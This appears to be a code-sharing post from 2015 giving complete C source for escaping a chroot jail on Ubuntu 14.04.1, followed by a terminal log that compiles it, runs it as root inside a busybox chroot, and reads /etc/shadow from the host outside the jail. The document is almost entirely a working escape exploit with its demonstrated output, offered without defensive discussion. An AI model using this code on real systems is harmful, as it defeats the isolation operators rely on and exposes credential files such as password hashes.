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April 29, 2015 12:09
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escape from chroot on Ubuntu 14.04.1
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| /* http://www.gcd.org/blog/2007/09/132/ */ | |
| #include <stdio.h> | |
| #include <sys/types.h> | |
| #include <unistd.h> | |
| #include <sys/stat.h> | |
| #include <errno.h> | |
| #define BUFMAX 256 | |
| int main(int argc, char *argv[]) { | |
| char buf[BUFMAX+1]; | |
| ino_t ino = 0; | |
| if (chdir("/") < 0) { | |
| printf("Can't chdir \"/\" errno=%d\n", errno); | |
| return 1; | |
| } | |
| sprintf(buf, "escape.%d", getpid()); | |
| if (mkdir(buf, 0755) < 0) { | |
| printf("Can't mkdir \"%s\" errno=%d\n", buf, errno); | |
| return 1; | |
| } | |
| if (chroot(buf) < 0) { | |
| printf("Can't chroot \"%s\" errno=%d\n", buf, errno); | |
| return 1; | |
| } | |
| if (rmdir(buf) < 0) { | |
| printf("Can't rmdir \"%s\" errno=%d\n", buf, errno); | |
| return 1; | |
| } | |
| for (;;) { | |
| struct stat st; | |
| if (stat(".", &st) < 0) { | |
| printf("Can't stat errno=%d\n", errno); | |
| return 1; | |
| } | |
| if (st.st_ino == ino) break; | |
| ino = st.st_ino; | |
| if (chdir("..") < 0) { | |
| printf("Can't chdir \"..\" ino=%ld errno=%d\n", | |
| ino, errno); | |
| return 1; | |
| } | |
| } | |
| if (chroot(".") < 0) { | |
| printf("Can't chroot \".\" errno=%d\n", errno); | |
| return 1; | |
| } | |
| argv++; | |
| execv(argv[0], argv); | |
| printf("Can't exec %s err=%d\n", argv[0], errno); | |
| return 0; | |
| } |
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| $ uname -a | |
| Linux vm-ubuntu64 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux | |
| $ lsb_release -a | |
| No LSB modules are available. | |
| Distributor ID: Ubuntu | |
| Description: Ubuntu 14.04.1 LTS | |
| Release: 14.04 | |
| Codename: trusty | |
| $ ls -alR /tmp/chroot/ | |
| /tmp/chroot/: | |
| total 28 | |
| drwxr-xr-x 3 root root 4096 Apr 21 23:58 ./ | |
| drwxrwxrwt 6 root root 20480 Apr 21 23:58 ../ | |
| drwxr-xr-x 2 root root 4096 Apr 21 23:46 bin/ | |
| /tmp/chroot/bin: | |
| total 1884 | |
| drwxr-xr-x 2 root root 4096 Apr 21 23:46 ./ | |
| drwxr-xr-x 3 root root 4096 Apr 21 23:58 ../ | |
| -rwxr-xr-x 1 root root 1918032 Apr 21 23:46 busybox* | |
| lrwxrwxrwx 1 root root 7 Apr 21 23:46 ls -> busybox* | |
| lrwxrwxrwx 1 root root 7 Apr 21 23:46 sh -> busybox* | |
| $ gcc -static escape.c -o escape | |
| $ sudo mv escape /tmp/chroot | |
| $ sudo chroot /tmp/chroot /bin/sh | |
| BusyBox v1.21.1 (Ubuntu 1:1.21.0-1ubuntu1) built-in shell (ash) | |
| Enter 'help' for a list of built-in commands. | |
| / # pwd | |
| / | |
| / # cat /etc/shadow | |
| cat: can't open '/etc/shadow': No such file or directory | |
| / # ./escape /bin/sh | |
| # cat /etc/shadow | |
| root:!:16349:0:99999:7::: | |
| daemon:*:16273:0:99999:7::: | |
| bin:*:16273:0:99999:7::: | |
| sys:*:16273:0:99999:7::: | |
| (snip) |
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